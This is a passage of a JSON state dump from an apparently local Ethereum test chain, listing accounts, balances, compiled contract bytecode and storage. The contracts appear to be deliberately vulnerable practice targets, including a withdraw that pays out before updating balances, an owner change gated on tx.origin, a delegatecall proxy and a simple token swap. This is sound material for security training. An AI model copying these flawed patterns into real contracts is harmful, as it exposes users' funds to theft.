801561039e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103c29190610901565b6103cc908461091a565b6103d6919061093f565b949350505050565b6103e661073a565b6103f06000610794565b565b6103fa61073a565b600180546001600160a01b039384166001600160a01b03199182161790915560028054929093169116179055565b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561046e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104929190610901565b10156104da5760405162461bcd60e51b815260206004820152601260248201527104e6f7420656e6f75676820746f20737761760741b60448201526064015b60405180910390fd5b60006104e78484846102ef565b6040516323b872dd60e01b81529091506001600160a01b038516906323b872dd9061051a903390309087906004016108b4565b6020604051808303816000875af1158015610539573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055d91906108d8565b5060405163095ea7b360e01b8152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303816000875af11580156105ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cf91906108d8565b506040516323b872dd60e01b81526001600160a01b038416906323b872dd90610600903090339086906004016108b4565b6020604051808303816000875af115801561061f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064391906108d8565b5050505050565b61065261073a565b6001600160a01b0381166106b75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d1565b6106c081610794565b50565b6040516370a0823160e01b81526001600160a01b038281166004830152600091908416906370a0823190602401602060405180830381865afa15801561070d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107319190610901565b90505b92915050565b6000546001600160a01b031633146103f05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d1565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146107fb57600080fd5b919050565b6000806040838503121561081357600080fd5b61081c836107e4565b946020939093013593505050565b60008060006060848603121561083f57600080fd5b610848846107e4565b9250610856602085016107e4565b9150604084013590509250925092565b6000806040838503121561087957600080fd5b610882836107e4565b9150610890602084016107e4565b90509250929050565b6000602082840312156108ab57600080fd5b610731826107e4565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000602082840312156108ea57600080fd5b815180151581146108fa57600080fd5b9392505050565b60006020828403121561091357600080fd5b5051919050565b808202811582820484141761073457634e487b7160e01b600052601160045260246000fd5b60008261095c57634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212208ca46256c4a99fcbb144b679fa51ae205983a0a1a87c4030eb61e616981070a064736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x1":"0x36c02da8a0983159322a80ffe9f24b1acff8b570","0x2":"0x809d550fca64d94bd9f66e60752a544199cfac3d"}},"0x5fbdb2315678afecb367f032d93f642f64180aa3":{"nonce":1,"balance":"0x4563918244f40000","code":"0x60806040526004361061004e5760003560e01c80633ccfd60b1461009657806342e94c90146100ad5780638da5cb5b146100ed578063d7bb99ba14610125578063f10fdf5c1461012d57600080fd5b366100915760003411801561007157503360009081526020819052604090205415155b61007a57600080fd5b600180546001600160a01b03191633908117909155005b600080fd5b3480156100a257600080fd5b506100ab61014f565b005b3480156100b957600080fd5b506100da6100c836600461025d565b60006020819052908152604090205481565b6040519081526020015b60405180910390f35b3480156100f957600080fd5b5060015461010d906001600160a01b031681565b6040516001600160a01b0390911681526020016100e4565b6100ab6101e9565b34801561013957600080fd5b50336000908152602081905260409020546100da565b6001546001600160a01b031633146101ad5760405162461bcd60e51b815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015260640160405180910390fd5b6001546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156101e6573d6000803e3d6000fd5b50565b66038d7ea4c6800034106101fc57600080fd5b336000908152602081905260408120805434929061021b90849061028d565b90915550506001546001600160a01b031660009081526020819052604080822054338352912054111561025b57600180546001600160a01b031916331790555b565b60006020828403121561026f57600080fd5b81356001600160a01b038116811461028657600080fd5b9392505050565b808201808211156102ae57634e487b7160e01b600052601160045260246000fd5b9291505056fea264697066735822122048a7966f935e49a6a3d2a0491755365ae5de2be1efe1f4e64355daa08cf34c4f64736f6c63430008150033","storage":{"0x1":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x3635c9adc5dea00000"}},"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b146037578063a6f9dae1146065575b600080fd5b6000546049906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60746070366004609b565b6076565b005b323314609857600080546001600160a01b0319166001600160a01b0383161790555b50565b60006020828403121560ac57600080fd5b81356001600160a01b038116811460c257600080fd5b939250505056fea26469706673582212206743c1e75ca9ee978ed42887c6ff693b8cbefc2520418b410433d9089862e3c464736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0x610178da211fef7d417bc0e6fed39f05609ad788":{"nonce":1,"balance":"0x0","code":"0x6080604052600080fdfea264697066735822122093329d4e0ed8d6ad33a71bbbd013bb20130d12ace7d887ff8de13f6b9c8a787e64736f6c63430008150033","storage":{}},"0x67d269191c92caf3cd7723f116c85e6e9bf55933":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063d23906fc14602d575b600080fd5b6092603836600460ae565b60408051606b60f91b602080830191909152602560fa1b602183015260609390931b6bffffffffffffffffffffffff19166022820152600160f81b6036820152815160178183030181526037909101909152805191012090565b6040516001600160a01b03909116815260200160405180910390f35b60006020828403121560bf57600080fd5b81356001600160a01b038116811460d557600080fd5b939250505056fea2646970667358221220627805644502e7ad3a57427367d8ea8c86758fe6102e750a469c5f1fdf24f55f64736f6c63430008150033","storage":{}},"0x68b1d87f95878fe05b998f19b66f4baba5de1aed":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b5060043610603c5760003560e01c8063b3cea217146041578063cf30901214605c578063e1afb08c146077575b600080fd5b604960015481565b6040519081526020015b60405180910390f35b60005460689060ff1681565b60405190151581526020016053565b6086608236600460af565b6088565b005b6005546001600160801b031982811691161460a257600080fd5b506000805460ff19169055565b60006020828403121560c057600080fd5b81356001600160801b03198116811460d757600080fd5b939250505056fea264697066735822122023e5290a175c32a77aafa8f1de59e58b1be3b7e8948d19817ac0026ec461df2964736f6c63430008150033","storage":{"0x0":"0x1","0x1":"0x64f2004d","0x2":"0x4dff0a","0x3":"0xe006920b19342b0b2f2597d8b5f2e996db4d37eb3e58626430eb62dd223b9f67","0x4":"0xe8737e5cf2ce4ff7c0b9803fbcb1ed9a9a64474e4b4ae7eebd0f72cc752d5c6","0x5":"0xa1a19f7d9994006a59419bedc8365c6bbfd49454115efed3d3084db6eab12477"}},"0x70997970c51812dc3a010c7d01b50e0d17dc79c8":{"nonce":1,"balance":"0x218ae18ef6f5d4d6948","code":"0x","storage":{}},"0x809d550fca64d94bd9f66e60752a544199cfac3d":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212202eb698520ba57ef5b4ae5abe8f0df0a86d94e3fce7312b274b9b3b0c908f0c5a64736f6c63430008150033","storage":{"0x2":"0x6e","0x3":"0x546f6b656e20320000000000000000000000000000000000000000000000000e","0x4":"0x544b4e3200000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x2314c4c26e1bbf91d9c6b25c404601851c24b2161f4438f53b17615999f1d8af":"0x0","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0","0x756af353f56f684aa3fe3e4b3713ab1313420fed683b8a6084b2333635805ea6":"0x64","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0xa"}},"0x84ea74d481ee0a5332c457a4d796187f6ba67feb":{"nonce":1,"balance":"0xef420","code":"0x60806040526004361061004e5760003560e01c80633ccfd60b1461005a5780634e1c5914146100715780638b7afe2e146100ae5780638da5cb5b146100ce578063be10862b146100fc57600080fd5b3661005557005b600080fd5b34801561006657600080fd5b5061006f61011c565b005b34801561007d57600080fd5b5061006f61008c3660046101e2565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b3480156100ba57600080fd5b506040514781526020015b60405180910390f35b3480156100da57600080fd5b506100e4610a9e81565b6040516001600160a01b0390911681526020016100c5565b34801561010857600080fd5b506000546100e4906001600160a01b031681565b6000610129606447610212565b600080546040519293506001600160a01b031691839181818185875af1925050503d8060008114610176576040519150601f19603f3d011682016040523d82523d6000602084013e61017b565b606091505b5050604051610a9e915082156108fc029083906000818181858888f193505050501580156101ad573d6000803e3d6000fd5b5042600155600080546001600160a01b0316815260026020526040812080548392906101da908490610234565b909155505050565b6000602082840312156101f457600080fd5b81356001600160a01b038116811461020b57600080fd5b9392505050565b60008261022f57634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561025557634e487b7160e01b600052601160045260246000fd5b9291505056fea2646970667358221220d8e2d18a6111948c5c22716b2456d06b15ff2389d49d784451af3f9c497cfe6e64736f6c63430008150033","storage":{"0x0":"0x0","0x1":"0x64f200b6","0xac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b":"0x2710"}},"0x851356ae760d987e095750cceb3bc6014560891c":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063bfd7e00d11610071578063bfd7e00d1461011f578063cbc7854e14610140578063d21220a714610153578063df791e5014610166578063f2fde38b14610179578063f7888aec1461018c57600080fd5b8063095ea7b3146100ae57806325be124e146100c357806356688700146100f3578063715018a6146101065780638da5cb5b1461010e575b600080fd5b6100c16100bc366004610897565b61019f565b005b6002546100d6906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100c1610101366004610897565b61026f565b6100c16102ef565b6000546001600160a01b03166100d6565b61013261012d3660046108c1565b610303565b6040519081526020016100ea565b6100c161014e3660046108fd565b6103f2565b6001546100d6906001600160a01b031681565b6100c16101743660046108c1565b610428565b6100c1610187366004610930565b6106e1565b61013261019a3660046108fd565b61075a565b60015460405163e1f21c6760e01b81526001600160a01b039091169063e1f21c67906101d39033908690869060040161094b565b600060405180830381600087803b1580156101ed57600080fd5b505af1158015610201573d6000803e3d6000fd5b505060025460405163e1f21c6760e01b81526001600160a01b03909116925063e1f21c6791506102399033908690869060040161094b565b600060405180830381600087803b15801561025357600080fd5b505af1158015610267573d6000803e3d6000fd5b505050505050565b6102776107d1565b6040516323b872dd60e01b81526001600160a01b038316906323b872dd906102a79033903090869060040161094b565b6020604051808303816000875af11580156102c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ea919061096f565b505050565b6102f76107d1565b610301600061082b565b565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa15801561034a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061036e9190610998565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103d69190610998565b6103e090846109b1565b6103ea91906109d6565b949350505050565b6103fa6107d1565b600180546001600160a01b039384166001600160a01b03199182161790915560028054929093169116179055565b6001546001600160a01b03848116911614801561045257506002546001600160a01b038381169116145b8061048257506002546001600160a01b03848116911614801561048257506001546001600160a01b038381169116145b6104c45760405162461bcd60e51b815260206004820152600e60248201526d496e76616c696420746f6b656e7360901b60448201526064015b60405180910390fd5b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561050a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052e9190610998565b10156105715760405162461bcd60e51b815260206004820152601260248201527104e6f7420656e6f75676820746f20737761760741b60448201526064016104bb565b600061057e848484610303565b6040516323b872dd60e01b81529091506001600160a01b038516906323b872dd906105b19033903090879060040161094b565b6020604051808303816000875af11580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f4919061096f565b5060405163095ea7b360e01b8152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303816000875af1158015610642573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610666919061096f565b506040516323b872dd60e01b81526001600160a01b038416906323b872dd906106979030903390869060040161094b565b6020604051808303816000875af11580156106b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da919061096f565b5050505050565b6106e96107d1565b6001600160a01b03811661074e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104bb565b6107578161082b565b50565b6040516370a0823160e01b81526001600160a01b038281166004830152600091908416906370a0823190602401602060405180830381865afa1580156107a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c89190610998565b90505b92915050565b6000546001600160a01b031633146103015760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104bb565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b038116811461089257600080fd5b919050565b600080604083850312156108aa57600080fd5b6108b38361087b565b946020939093013593505050565b6000806000606084860312156108d657600080fd5b6108df8461087b565b92506108ed6020850161087b565b9150604084013590509250925092565b6000806040838503121561091057600080fd5b6109198361087b565b91506109276020840161087b565b90509250929050565b60006020828403121561094257600080fd5b6107c88261087b565b6001600160a01b039384168152919092166020820152604081019190915260600190565b60006020828403121561098157600080fd5b8151801515811461099157600080fd5b9392505050565b6000602082840312156109aa57600080fd5b5051919050565b80820281158282048414176107cb57634e487b7160e01b600052601160045260246000fd5b6000826109f357634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220dd210b38a38994eb93b849868bddbe6f3cd619b3d1cfaeedc396cad692df8db564736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x1":"0xf5059a5d33d5853360d16c683c16e67980206f36","0x2":"0x95401dc811bb5740090279ba06cfa8fcf6113778"}},"0x8a791620dd6260079bf849dc5567adc3f2fdc318":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c80638da5cb5b14607f575b6001546040516000916001600160a01b0316906046908390369060ad565b600060405180830381855af49150503d8060008114607d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b6000546091906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b818382376000910190815291905056fea26469706673582212209c08c53d602db618c579a4328de19724adb72950b1d6af8f027b325c0d6db51d64736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x1":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6"}},"0x90f79bf6eb2c4f870365e785982e1f101e93b906":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x95401dc811bb5740090279ba06cfa8fcf6113778":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea2646970667358221220a7e6e634da2be6000d7b49d955d998bf4b98423db4172369c10d2785a8eea4d364736f6c63430008150033","storage":{"0x2":"0x6e","0x3":"0x546f6b656e20320000000000000000000000000000000000000000000000000e","0x4":"0x544b4e3200000000000000000000000000000000000000000000000000000008","0x5":"0x851356ae760d987e095750cceb3bc6014560891c","0x5bc9f748056d7d2b880339acf2f11cd298f14d86229bc64da98678b864592385":"0x64","0x60339cdee841ef45946edbcf5f8e8f995d8f7fcec4879b7742b313ef8d87c7cf":"0x0","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0xa"}},"0x976ea74026e726554db657fa54763abd0c3a0aa9":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x9965507d1a55bcc2695c58ba16fb37d819b0a4dc":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x9a676e781a523b5d0c0e43731313a708cb607508":{"nonce":1,"balance":"0x68f365aea1e440000","code":"0x6080604052600436106100425760003560e01c8062362a951461004e57806327e235e3146100765780632e1a7d4d146100bb57806370a08231146100e557610049565b3661004957005b600080fd5b6100746004803603602081101561006457600080fd5b50356001600160a01b0316610118565b005b34801561008257600080fd5b506100a96004803603602081101561009957600080fd5b50356001600160a01b0316610157565b60408051918252519081900360200190f35b3480156100c757600080fd5b50610074600480360360208110156100de57600080fd5b5035610169565b3480156100f157600080fd5b506100a96004803603602081101561010857600080fd5b50356001600160a01b03166101e4565b6001600160a01b03811660009081526020819052604090205461013b90346101ff565b6001600160a01b03909116600090815260208190526040902055565b60006020819052908152604090205481565b3360009081526020819052604090205481116101e157604051600090339083908381818185875af1925050503d80600081146101c1576040519150601f19603f3d011682016040523d82523d6000602084013e6101c6565b606091505b50503360009081526020819052604090208054849003905550505b50565b6001600160a01b031660009081526020819052604090205490565b600082820183811015610259576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea264697066735822122043db77a4f6bc946afae4a7308bb34efe3bd47bdba7d1586a58d86d3725c3732c64736f6c634300060c0033","storage":{"0x14e04a66bf74771820a7400ff6cf065175b3d7eb25805a5bd1633b161af5d101":"0x1158e460913d00000","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x56bc75e2d63100000"}},"0x9a9f2ccfde556a7e9ff0848998aa4a0cfd8863ae":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c80634069536314610046578063ed9a713414610062578063fe6dcdba14610077575b600080fd5b61004f60015481565b6040519081526020015b60405180910390f35b610075610070366004610182565b610094565b005b6000546100849060ff1681565b6040519015158152602001610059565b604051632fcd25e560e11b81526004810182905233908190635f9a4bca906024016020604051808303816000875af11580156100d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100f8919061019b565b61017e576001829055604051632fcd25e560e11b8152600481018390526001600160a01b03821690635f9a4bca906024016020604051808303816000875af1158015610148573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061016c919061019b565b6000805460ff19169115159190911790555b5050565b60006020828403121561019457600080fd5b5035919050565b6000602082840312156101ad57600080fd5b815180151581146101bd57600080fd5b939250505056fea2646970667358221220a2f549c18b994a814fde85edfbde6e4796bba1ea74bbad7d6f7605052c7814f664736f6c63430008150033","storage":{}},"0x9fe46736679d2d9a65f0992f2272de9f3c7fa6e0":{"nonce":1,"balance":"0x0","code":"0x6080604052600436106100555760003560e01c80636fab5ddf1461005a5780638aa96f38146100645780638da5cb5b14610079578063a2dea26f146100aa578063abaa9916146100dd578063ffd40b56146100e5575b600080fd5b61006261012a565b005b34801561007057600080fd5b5061006261015a565b34801561008557600080fd5b5061008e6101e8565b604080516001600160a01b039092168252519081900360200190f35b3480156100b657600080fd5b50610062600480360360208110156100cd57600080fd5b50356001600160a01b03166101f7565b61006261025d565b3480156100f157600080fd5b506101186004803603602081101561010857600080fd5b50356001600160a01b031661028f565b60408051918252519081900360200190f35b600180546001600160a01b0319163317908190556001600160a01b03166000908152602081905260409020349055565b6001546001600160a01b031633146101b9576040805162461bcd60e51b815260206004820152601760248201527f63616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f193505050501580156101e5573d6000803e3d6000fd5b50565b6001546001600160a01b031681565b6001600160a01b03811660009081526020819052604090205461021957600080fd5b6001600160a01b03811660008181526020819052604080822054905181156108fc0292818181858888f19350505050158015610259573d6000803e3d6000fd5b5050565b3360009081526020819052604090205461027d903463ffffffff6102aa16565b33600090815260208190526040902055565b6001600160a01b031660009081526020819052604090205490565b600082820183811015610304576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea2646970667358221220c32681c789ae29debffc0c0b40dbd791aa45b676795e05f4852f105e4bd0ec0464736f6c63430006060033","storage":{"0x1":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0"}},"0xa0ee7a142d267c1f36714e4a8f75612f20a79720":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0":{"nonce":1,"balance":"0x8ac7230489e80000","code":"0x6080604052600436106100385760003560e01c806329cc6d6f146100bb5780638da5cb5b146100f2578063e3ac5d261461011257600080fd5b366100b6576001543410158061005857506002546001600160a01b031633145b61006157600080fd5b600080546040516001600160a01b03909116913480156108fc02929091818181858888f1935050505015801561009b573d6000803e3d6000fd5b50600080546001600160a01b03191633179055346001819055005b600080fd5b3480156100c757600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100fe57600080fd5b506002546100d5906001600160a01b031681565b34801561011e57600080fd5b5061012860015481565b6040519081526020016100e956fea26469706673582212201b552f5f65bcec2acf1f4847a789a1c0502013d35c5e46edfb850631bcd62ab164736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","0x1":"0x8ac7230489e80000","0x2":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0xa85233c63b9ee964add6f2cffe00fd84eb32338f":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100575760003560e01c806327d6974f1461005c5780633dc794221461008b5780635bda8fa41461009e5780638da5cb5b146100b3578063f1e02620146100c6575b600080fd5b60015461006f906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005461006f906001600160a01b031681565b6100b16100ac